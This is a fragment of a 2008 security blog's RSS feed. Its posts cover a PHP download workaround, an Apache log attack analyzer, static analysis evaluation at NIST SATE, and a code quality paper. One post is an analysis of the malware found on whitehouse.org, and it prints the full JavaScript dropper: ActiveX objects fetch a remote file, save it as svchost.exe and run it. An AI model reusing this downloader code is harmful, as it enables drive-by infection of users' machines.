      <wfw:comment>http://rgaucher.info/post/2008/07/28/Trie-based-fast-and-massive-replacement-Algorithm#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/120</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/07/28/Trie-based-fast-and-massive-replacement-Algorithm</feedburner:origLink></item>
    
  <item>
    <title>A morning at work: Content-Disposition blocked!</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/Im71s0C9CQQ/A-morning-at-work%3A-Content-Disposition-blocked</link>
    <guid isPermaLink="false">urn:md5:935638740dc0fb369fba7565bd8e6c4b</guid>
    <pubDate>Mon, 21 Jul 2008 11:15:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Stuffs</category>
        <category>Bahhhh</category><category>hacks</category><category>PHP</category><category>Tech</category><category>wtf!</category>    
    <description>&lt;p&gt;A morning, I woke up, and all the websites using a download system didn't
work anymore. Yeah this is what I've seen. I guess I don't need to tell you
that it was such a pain and that all the downloading systems on the different
websites we have were not working anymore.&lt;/p&gt;
&lt;p&gt;Such a big stress thinking that everything is broken at first, then after
some time, realized that the problem is about the Content-Disposition header
field which is dropped.&lt;/p&gt;
&lt;p&gt;I wouldn't say that I would like to thank the admin that do no tell people
about the modification... Anyway, I guess this is every time like that?&lt;/p&gt;
&lt;p&gt;The &lt;a href="http://www.ietf.org/rfc/rfc2183.txt"&gt;Content-Disposition HTTP
header field&lt;/a&gt; is used to explain to the browser how the data are presented.
I basically use it in order to force a download system using such php
script:&lt;/p&gt;
&lt;pre&gt;
&amp;lt;?php
  // download.php
  // some checks on the $fname, variable to be sure
  // it exists and is in the allowed directories...
  header(&amp;quot;Pragma: public&amp;quot;);
  header(&amp;quot;Expires: 0&amp;quot;);
  header(&amp;quot;Cache-Control: must-revalidate, pre-check=0&amp;quot;);
  header(&amp;quot;Content-Type: application/octet-stream&amp;quot;);
  header(&amp;quot;Content-Length: &amp;quot; . filesize($fname));
  header(&amp;quot;Content-Disposition: attachment; filename=&amp;quot;.basename($fname));
  header(&amp;quot;Content-Description: File Transfer&amp;quot;);
  @readfile($fname);
  exit;
?&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Now, if you cannot submit the Content-Disposition field, then the browser
will download the file called &amp;quot;download.php&amp;quot;. A quite simple solution, is to
fool the browser by making the name of the reachable URI the same as the file
it should download, using Mod_Rewrite.&lt;/p&gt;
&lt;pre&gt;
RewriteEngine On
RewriteBase /mydir
RewriteRule   ^download/([^/]+)$ /mydir/download.php?file_redir=$1
&lt;/pre&gt;
&lt;p&gt;And just a simple modification in the original script in order to detect the
&amp;quot;file&amp;quot; GET variable. But since we don't want to modify all the (generated or
not) HTML files, we need to make the redirection automatically.&lt;/p&gt;
&lt;pre&gt;
&amp;lt;?php
// download.php
// some checks on the $fname, variable to be sure
// it exists and is in the allowed directories...
if (isset($_GET['file_redir'])) {
  $fname = $_GET['file_redir'];
  // checks for good files (careful of directory traversal etc.)
  header(&amp;quot;Pragma: public&amp;quot;);
  header(&amp;quot;Expires: 0&amp;quot;);
  header(&amp;quot;Cache-Control: must-revalidate, pre-check=0&amp;quot;);
  header(&amp;quot;Content-Type: application/octet-stream&amp;quot;);
  header(&amp;quot;Content-Length: &amp;quot; . filesize($fname));
  header(&amp;quot;Content-Description: File Transfer&amp;quot;);
  @readfile($fname);
  exit;
}
else {
  header(&amp;quot;Location: /mydir/download/$fname&amp;quot;);
  exit;
}
?&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Then you don't have to change all your pages. This is of course a (not so?)
temporary solution since the server will do extra work in order to go to the
same state, the download of the file, but well, it does the job to fool the
browser...&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=0kxNkY8b"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=TCajmbV0"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=TCajmbV0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=GXdqRtHI"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=GXdqRtHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=nttSfeZZ"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=0p9QQN82"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=vWsMXWzR"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=vWsMXWzR" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=5QJ3chnO"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/Im71s0C9CQQ" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/07/21/A-morning-at-work%3A-Content-Disposition-blocked#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/07/21/A-morning-at-work%3A-Content-Disposition-blocked#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/119</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/07/21/A-morning-at-work%3A-Content-Disposition-blocked</feedburner:origLink></item>
    
  <item>
    <title>Scalp: apache log based attack analyzer</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/cMF-sI119tg/Scalp%3A-apache-log-based-attack-analyzer-using</link>
    <guid isPermaLink="false">urn:md5:1a72df965b3de736e75073ad9dbc7ab1</guid>
    <pubDate>Fri, 18 Jul 2008 16:11:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tools</category>
        <category>apache</category><category>log</category><category>scalp</category><category>security</category>    
    <description>&lt;p&gt;I started a project some time ago in order to parse some apache log file, to
detect some attacks etc. The attack recognition is based on the &lt;a href="http://php-ids.org"&gt;PHP-IDS&lt;/a&gt; filters.&lt;/p&gt;
&lt;p&gt;The first release version is written in Python &lt;a href="http://code.google.com/p/apache-scalp/downloads/list"&gt;http://code.google.com/p/apache-scalp/downloads/list&lt;/a&gt;
but I started (well, almost finished) a faster multi-threaded/C++ version in
order to be able to handle bigger log files.&lt;/p&gt;
&lt;p&gt;The main project page is reachable here: &lt;a href="http://code.google.com/p/apache-scalp"&gt;http://code.google.com/p/apache-scalp&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;
Scalp the apache log! - http://code.google.com/p/apache-scalp
usage:  ./scalp.py [--log|-l log_file] [--filters|-f filter_file]
                   [--period time-frame] [OPTIONS] [--attack a1,a2,..,an]
   --log       |-l:  the apache log file './access_log' by default
   --filters   |-f:  the filter file     './default_filter.xml' by default
   --exhaustive|-e:  will report all type of attacks detected and not stop
                     at the first found
   --period    |-p:  the period must be specified in the same format as in
                     the Apache logs using * as wild-card
                     ex: 04/Apr/2008:15:45;*/Mai/2008
                     if not specified at the end, the max or min are taken
   --html      |-h:  generate an HTML output
   --xml       |-x:  generate an XML output
   --text      |-t:  generate a simple text output (default)
   --except    |-c:  generate a file that contains the non examined logs due 
                     to the main regular expression; ill-formed Apache log etc.
   --attack    |-a:  specify the list of attacks to look for
                     list: xss, sqli, csrf, dos, dt, spam, id, ref, lfi
                     the list of attacks should not contains spaces and be comma
                     separated
                     ex: xss,sqli,lfi,ref
&lt;/pre&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=ELQ0tcBR"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=xYsd8Hfo"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=xYsd8Hfo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=xbkKBLAD"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=xbkKBLAD" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=WkgQ2zT6"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=zhkcL6wG"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=NYTmq88m"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=NYTmq88m" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=obVa7Ynm"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/cMF-sI119tg" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/07/18/Scalp%3A-apache-log-based-attack-analyzer-using#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/07/18/Scalp%3A-apache-log-based-attack-analyzer-using#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/118</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/07/18/Scalp%3A-apache-log-based-attack-analyzer-using</feedburner:origLink></item>
    
  <item>
    <title>My talk at SAW: Automated Evaluation of source code analyzer output</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/JZLraXYeRWU/Automated-Evaluation-of-source-code-analyzer-output</link>
    <guid isPermaLink="false">urn:md5:f40becd28da0b4d65fa4f6e0b043b7a6</guid>
    <pubDate>Tue, 10 Jun 2008 15:38:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tools</category>
        <category>code quality</category><category>Evaluation</category><category>SAMATE</category><category>SATE</category><category>source code scanners</category><category>static analysis</category>    
    <description>&lt;p&gt;It has been some time since I haven't post on my blog... well, I've been
busy especially with the end of &lt;a href="http://samate.nist.gov/index.php/SATE"&gt;SATE&lt;/a&gt;, and oh well! had vacation
:)&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Anyway, at the next &lt;a href="http://samate.nist.gov/index.php/SAW"&gt;Static
Analysis Workshop&lt;/a&gt; this Thursday, we're gonna talk about the SATE experiment
and the observations/results we could get from this. I am then gonna talk about
a tool I wrote in order to probe if a reported weakness is a false-positive:
this is the Automated Evaluation.&lt;/p&gt;
&lt;p&gt;The main idea of the Automated Evaluation, is to get some information on the
source code and, under some assumptions, try to make a conclusion on the
correctness of the piece of code. Behind all the reasoning from that particular
tool, my approach had to be radically different than a classical SCA otherwise
this would have been like creating a new SCA and this would have been obviously
useless. The context of this automated evaluation is limited to the buffer
overflows and this can only work for &lt;strong&gt;proving false-positive
only&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;So basically, I am reading the source code from the reported sink to the
possibles sources and grabbing the actions that possibly affect the variable
which have a role in the code.&lt;/p&gt;
&lt;p&gt;These actions are like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allocation of a destination buffer&lt;/li&gt;
&lt;li&gt;Computing the size of the source buffer(s)&lt;/li&gt;
&lt;li&gt;Test for NULL&lt;/li&gt;
&lt;li&gt;Test that involves the size of the buffers...&lt;/li&gt;
&lt;li&gt;... and some others&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, once these actions are detected, the tool increments a global score of
false-positiveness to this reported weakness. We then only have to set a
threshold in order to know what correctness we want to have; this is really
tied to the source code and how the program is developed.&lt;/p&gt;
&lt;p&gt;Even though this evaluation method is not perfect, this was adapted to the C
test cases we had in SATE 2008 since the global code quality was good. We can
even say that the software were well written; it was then okay to make some
assumption on the code such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the size of the destination buffer is computed with the size of the
source buffer, the size is good (basically: no off-by-one)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Also, the tool itself needs some information on the source code such since
it uses regular expression to match the &amp;quot;actions&amp;quot;...&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;
Here we are for a quick explanation and here are the slides: &lt;a href="http://rgaucher.info/work/NIST/Automated%20Evaluation-%20SATE%202008.pdf"&gt;SAW: Automated
Evaluation of SCA output&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=fPd2IYYc"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=R49pFfbu"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=R49pFfbu" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=tWDy7ZAb"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=tWDy7ZAb" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=rDBntnMu"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=aFoo4Ymq"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=LOF5uClM"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=LOF5uClM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=9q2KPxn4"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/JZLraXYeRWU" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/06/10/Automated-Evaluation-of-source-code-analyzer-output#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/06/10/Automated-Evaluation-of-source-code-analyzer-output#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/116</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/06/10/Automated-Evaluation-of-source-code-analyzer-output</feedburner:origLink></item>
    
  <item>
    <title>ph34r the script kiddies: Whitehouse.org</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/cWvR9evFOVc/ph34r-the-script-kiddies</link>
    <guid isPermaLink="false">urn:md5:a23d7f4adb9fa1a88baddc278a033d1e</guid>
    <pubDate>Tue, 20 May 2008 10:07:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
        <category>h4X0r</category><category>hacks</category><category>javascript</category><category>malware</category><category>Tech</category><category>wtf!</category>    
    <description>&lt;p&gt;I was just reading &lt;a href="http://blog.trendmicro.com/whitehouseorg-pwnd-serving-malware/"&gt;this news&lt;/a&gt;
(reported by Kanedaa), decided to look closer to the content of this &amp;quot;malware&amp;quot;
stuff to see if there was some nice techniques behind this so called
&amp;quot;attack&amp;quot;.&lt;/p&gt;
&lt;p&gt;Oh men! How disappointing to see that this was done by script kiddies... the
&amp;quot;obfuscation&amp;quot; consist of 3 levels of URL encoded javascript... yeah... URL
encoding is for sure an obfuscation very hard to prettify. And the final code
was just not obfuscated either... Just this:&lt;/p&gt;
&lt;pre&gt;
function myCreateOB(o, n) {
    var r = null;
    try { eval('r = o.CreateObject(n)') }catch(e){}
    if (! r) {try { eval('r = o.CreateObject(n, &amp;quot;&amp;quot;)') }catch(e){} }
    if (! r) {try { eval('r = o.CreateObject(n, &amp;quot;&amp;quot;, &amp;quot;&amp;quot;)') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(&amp;quot;&amp;quot;, n)') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(n, &amp;quot;&amp;quot;)') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(n)') }catch(e){}  }
    return(r);
}

function Go(a) {
    var s = myCreateOB(a, &amp;quot;WS&amp;quot;+&amp;quot;cr&amp;quot;+&amp;quot;ip&amp;quot;+&amp;quot;t.S&amp;quot;+&amp;quot;he&amp;quot;+&amp;quot;ll&amp;quot;);
    var o = myCreateOB(a, &amp;quot;AD&amp;quot;+&amp;quot;OD&amp;quot;+&amp;quot;B.St&amp;quot;+&amp;quot;re&amp;quot;+&amp;quot;am&amp;quot;);
    var e = s.Environment(&amp;quot;Process&amp;quot;);
    var xml = null;
     var url = 'http://ad.ox88.info/bbs.jpg';
    var bin = e.Item(&amp;quot;TEMP&amp;quot;) + &amp;quot;svchost.exe&amp;quot;;
    var dat;
    try { xml=new XMLHttpRequest(); }
    catch(e) {
        try { xml = new ActiveXObject(&amp;quot;Mic&amp;quot;+&amp;quot;ros&amp;quot;+&amp;quot;of&amp;quot;+&amp;quot;t.XM&amp;quot;+&amp;quot;LHT&amp;quot;+&amp;quot;TP&amp;quot;); }
        catch(e) {
            xml = new ActiveXObject(&amp;quot;MSX&amp;quot;+&amp;quot;ML2.Ser&amp;quot;+&amp;quot;verXM&amp;quot;+&amp;quot;LHT&amp;quot;+&amp;quot;TP&amp;quot;);
        }
    }
    if (! xml) return(0);
    xml.open(&amp;quot;GET&amp;quot;, url, false)
    xml.send(null);
    dat = xml.responseBody;

    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);

    s.Run(bin,0);
}

function mywoewd() {
    var i = 0;
    var ss11='{7F5B7F';
    var ss12='63-F06';
    var ss13='F-4331-8A';
    var ss14='26-339E0'
    var ss15='3C0AE3D}';
    var ss1=ss11+ss12+ss13+ss14+ss15
    var ss2=&amp;quot;{BD96&amp;quot;+&amp;quot;C55&amp;quot;+&amp;quot;6-65A3-1&amp;quot;+&amp;quot;1D0-98&amp;quot;+&amp;quot;3A-00C04F&amp;quot;+&amp;quot;C29E36}&amp;quot;;
    var ss3=&amp;quot;{AB9&amp;quot;+&amp;quot;BCEDD-E&amp;quot;+&amp;quot;C7E-47&amp;quot;+&amp;quot;E1-93&amp;quot;+&amp;quot;22-D4&amp;quot;+&amp;quot;A210617116}&amp;quot;;
    var ss4=&amp;quot;{00&amp;quot;+&amp;quot;06F&amp;quot;+&amp;quot;033-000&amp;quot;+&amp;quot;0-0000-C0&amp;quot;+&amp;quot;00-00000&amp;quot;+&amp;quot;0000046}&amp;quot;;
    var ss5=&amp;quot;{0006&amp;quot;+&amp;quot;F03A-0000-00&amp;quot;+&amp;quot;00-C000-00&amp;quot;+&amp;quot;00000&amp;quot;+&amp;quot;00046}&amp;quot;;

    var t = new Array(ss1,ss2,ss3,ss4,ss5,null);
    while (t[i]) {
        var a = null;
        if (t[i].substring(0,1) == '{') {
         a = document.createElement(&amp;quot;object&amp;quot;);
         a.setAttribute(&amp;quot;classid&amp;quot;, &amp;quot;clsid:&amp;quot; + t[i].substring(1, t[i].length - 1));
        } else {
            try { a = new ActiveXObject(t[i]); } catch(e){}
        }
        if (a) {
            try {
                var b = myCreateOB(a, &amp;quot;WSc&amp;quot;+&amp;quot;rip&amp;quot;+&amp;quot;t.Sh&amp;quot;+&amp;quot;ell&amp;quot;);
                if (b) {
                    Go(a);
                    return(0);
                }
            } catch(e){}
        }
        i++;
    }
}
&lt;/pre&gt;
&lt;p&gt;As reported by Trend Micro, this is supposed to be a download of the trojan:
TROJ_DELF.GKP ... that doesn't mean anything to me but anyway, my AV didn't
detect it :)&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=1NHBvHcc"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=awKTjExm"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=awKTjExm" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=coyHBH94"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=coyHBH94" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=7oJlBxka"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=8786PSnk"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=k8JISspR"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=k8JISspR" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=fBSDgGLN"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/cWvR9evFOVc" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/05/20/ph34r-the-script-kiddies#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/05/20/ph34r-the-script-kiddies#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/115</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/05/20/ph34r-the-script-kiddies</feedburner:origLink></item>
    
  <item>
    <title>Yet another study on code quality: A Tale of Four Kernels</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/KxKF57BecSE/Yet-another-paper-on-code-quality%3A-A-Tale-of-Four-Kernels</link>
    <guid isPermaLink="false">urn:md5:54969668d7be7f40c7d4df0cc6278b45</guid>
    <pubDate>Fri, 16 May 2008 14:43:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>code quality</category><category>metrics</category><category>source code scanners</category><category>static analysis</category><category>testing</category>    
    <description>&lt;p&gt;If like me you are interested in code quality and some general conclusion
that one can draw based on code quality studies, I really recommend to read
this paper: &lt;a href="http://www.spinellis.gr/pubs/conf/2008-ICSE-4kernel/html/Spi08b.html"&gt;A Tale
of Four Kernels&lt;/a&gt; by &lt;a href="http://www.spinellis.gr/index.html.var"&gt;Diomidis Spinellis&lt;/a&gt;, &lt;em&gt;ICSE '08:
Proceedings of the 30th International Conference on Software
Engineering&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I just want to quote a part of the conclusion by the author&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Therefore, the most we can read from the overall balance of marks is that
open source development approaches do not produce software of markedly higher
quality than proprietary software development.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The only problem with this statement is that it is based on the fact that
the metrics he used were not weighted for their importance for the &amp;quot;Code
Quality&amp;quot; (if this means something). Therefore, the comparison between the
Windows research kernel and Linux seems a little bit awkward to me. Anyway,
this is a very interesting paper about code quality, and lots of interesting
ideas from the author of &lt;a href="http://www.spinellis.gr/cscout/"&gt;CScout&lt;/a&gt;.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=WTh6Wy5h"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=l7sLp5hp"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=l7sLp5hp" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=SlT11VLx"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=SlT11VLx" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=cjaYGAEr"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=BvJi2xwV"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=m4jhd1cb"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=m4jhd1cb" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=0F9mTRlA"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/KxKF57BecSE" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/05/16/Yet-another-paper-on-code-quality%3A-A-Tale-of-Four-Kernels#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/05/16/Yet-another-paper-on-code-quality%3A-A-Tale-of-Four-Kernels#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/114</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/05/16/Yet-another-paper-on-code-quality%3A-A-Tale-of-Four-Kernels</feedburner:origLink></item>
    
  <item>
    <title>Static Analysis Tool Exposition is over</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/QfwE8qW2rlI/Static-Analysis-Tool-Exposition-is-over</link>
    <guid isPermaLink="false">urn:md5:708999db6b61f584d5b33921069d9281</guid>
    <pubDate>Wed, 14 May 2008 00:20:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>SAMATE</category><category>SATE</category><category>secure programming</category><category>source code scanners</category><category>static analysis</category>    
    <description>&lt;p&gt;Yeah, that's sad and also a relief: &lt;a href="http://samate.nist.gov/index.php/SATE"&gt;SATE&lt;/a&gt; is over. We actually released
today the last stage of the evaluation (basically, the evaluation with some
correction based on comments from the participants). Even though I would have
prefer to have more feedback from participants on our evaluation, especially to
increase its quality, I still think SATE is a good thing and will be an
interesting resource for lost of researchers. This is, as far as I know, the
only exhaustive resource on the subject (wild source code + weaknesses).&lt;/p&gt;
&lt;p&gt;What do I want to do, see next? Since we have accumulated lots of data with
the tool reports (raw weaknesses), the evaluations (I really want to thank
MITRE's guys, especially Steve Christey and Bob Schmeichel for their help), I'm
looking forward to do data analysis and trying to extract some limited results
on it.&lt;/p&gt;
&lt;p&gt;Anyway, this was overall a good experience, I actually did my first real
code review mostly on lighttpd, dspace, mvnform and naim, I think I know way
more on how detecting vulnerabilities, I also have been asking myself about how
to rate vulnerabilities such as Cross-Site Scripting (hopefully, I will release
the little document I wrote about it), I learned so much about how people are
writing code trying to understand the design, the code etc. in the
applications.&lt;/p&gt;
&lt;p&gt;Also, hopefully, I will be able to release the website I developed to handle
the weaknesses from different tools. It is, I think, interesting if you are
working with more than one assessor. You can send evaluation, comments, merging
the weaknesses etc. with a web interface. Even though it needs improvements (it
has been done in less than 2 weeks) I think this would be an interesting piece
of software for people who are dealing with tons of weaknesses. Another
interesting point is that we (at NIST) may open that website for everybody in
order to make new evaluation in order to increase the quality of the data we
currently have.&lt;/p&gt;
&lt;p&gt;Oh well, it seems like a journey is really close to its end, it was such a
good time sometimes, and some other time such consuming work. We've been
dealing with fifty thousands of weaknesses, dozen of tool reports, and almost
tens of test cases... I will keep you posted about the next decision we are
gonna make with SATE and hope that lots of people will find in this
&amp;quot;exposition&amp;quot; the most they could get.&lt;/p&gt;&lt;div class="feedflare"&gt;
